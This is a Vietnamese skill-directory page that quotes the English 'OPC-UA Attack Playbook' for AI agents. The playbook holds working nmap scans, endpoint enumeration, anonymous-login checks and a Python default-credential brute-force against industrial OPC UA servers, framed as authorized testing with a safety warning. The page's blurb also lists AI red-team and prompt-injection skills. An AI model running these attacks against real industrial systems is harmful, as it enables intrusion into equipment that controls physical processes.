opcua
Skill này làm gì
Hướng dẫn này nói về kiểm tra bảo mật cho OPC UA, một giao thức công nghiệp hiện đại có thể chạy có hoặc không có bảo mật. Dành cho đội bảo mật nhà máy và CNTT làm việc có phê duyệt bằng văn bản.
Khi nào nên dùng
- ✓Khi một đánh giá được ủy quyền cần kiểm tra xem máy chủ OPC UA có cho truy cập ẩn danh không.
- ✓Khi bạn muốn xem máy chủ công nghiệp dùng chính sách bảo mật nào.
- ✓Khi bạn cần duyệt dữ liệu trạng thái mà không gọi bất kỳ phương thức điều khiển nào.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra các máy chủ OPC UA của chúng tôi xem có truy cập ẩn danh hoặc chính sách bảo mật yếu không, bằng cách duyệt chỉ đọc không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent yêu cầu mỗi máy chủ cung cấp các endpoint và chính sách bảo mật, kiểm tra xem phiên ẩn danh có được phép không, và duyệt giá trị trạng thái mà không gọi phương thức điều khiển.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
OPC-UA Attack Playbook (TCP 4840)
OPC-UA is the dominant modern IT/OT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave SecurityPolicy: None active for "backwards compatibility," giving full unauthenticated access to the address space.
SAFETY FIRST
OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). Confirm written scope authorization before any call to Method nodes or write to Variable nodes. Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.
Prerequisites
# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua
# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan
# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24
Phase 1 — Discover
# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5
# OPC UA Hello probe — get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens
Phase 2 — GetEndpoints (unauthenticated policy enumeration)
GetEndpoints is always available without a session — it's the pre-auth discovery call.
import asyncio
from asyncua import Client
async def get_endpoints():
url = "opc.tcp://10.0.0.5:4840"
# Use None security policy — client sends HEL, gets ACK, calls GetEndpoints
async with Client(url=url) as client:
endpoints = await client.get_endpoints()
for ep in endpoints:
print(f"URL: {ep.EndpointUrl}")
print(f" SecurityMode: {ep.SecurityMode}") # 1=None, 2=Sign, 3=SignAndEncrypt
print(f" SecurityPolicy: {ep.SecurityPolicyUri}")
for tok in ep.UserIdentityTokens:
print(f" Token: {tok.TokenType}") # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken
asyncio.run(get_endpoints())
Key findings to record:
SecurityMode: 1(None) +SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#None→ plaintext, no signing. Traffic is readable in Wireshark.TokenType: 0(Anonymous) accepted → no credentials needed.TokenType: 1(UserName) present → attempt default/dictionary creds.
Phase 3 — Auth testing
Anonymous connect
import asyncio
from asyncua import Client
async def anon_connect():
url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
async with Client(url=url) as client:
# No credentials set — asyncua defaults to Anonymous token
root = client.get_root_node()
print("Root node:", await root.read_browse_name())
# Successful connection here = Anonymous accepted
server_node = client.get_server_node()
status = await server_node.get_child(["0:ServerStatus"])
print("Server status:", await status.read_value())
asyncio.run(anon_connect())
Username/password dictionary attack
import asyncio
from asyncua import Client
from asyncua.ua import uaerrors
DEFAULT_CREDS = [
("admin", "admin"), ("administrator", "administrator"),
("opcua", "opcua"), ("user", "user"), ("guest", ""),
("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]
async def brute_opcua(url):
for user, pwd in DEFAULT_CREDS:
try:
async with Client(url=url) as client:
await client.set_user(user)
await client.set_password(pwd)
await client.connect()
print(f"[+] VALID: {user}:{pwd}")
return user, pwd
except uaerrors.BadUserAccessDenied:
print(f"[-] {user}:{pwd} — denied")
except uaerrors.BadIdentityTokenRejected:
print(f"[-] {user}:{pwd} — rejected")
except Exception as e:
print(f"[!] {user}:{pwd} — {e}")
return None, None
asyncio.run(brute_opcua("opc.tcp://10.0.0.5:4840"))
Phase 4 — Address-space browsing and tag read
Once authenticated (anonymous or credentialed):
import
Câu hỏi thường gặp
Chính sách bảo mật None nghĩa là gì?
Nó nghĩa là máy chủ có thể chạy không ký và không mã hóa, mà hướng dẫn cho biết một số triển khai vẫn để như vậy.
Vì sao tránh gọi phương thức?
Gọi phương thức có thể khởi động hoặc dừng thiết bị, nên cần phê duyệt bằng văn bản rõ ràng.
OPC UA được dùng ở đâu?
Hướng dẫn cho biết nó phổ biến trong các dự án điều khiển công nghiệp mới và các dự án hội tụ CNTT với OT.
Chi tiết
Mô tả gốc của tác giả
OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14039
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.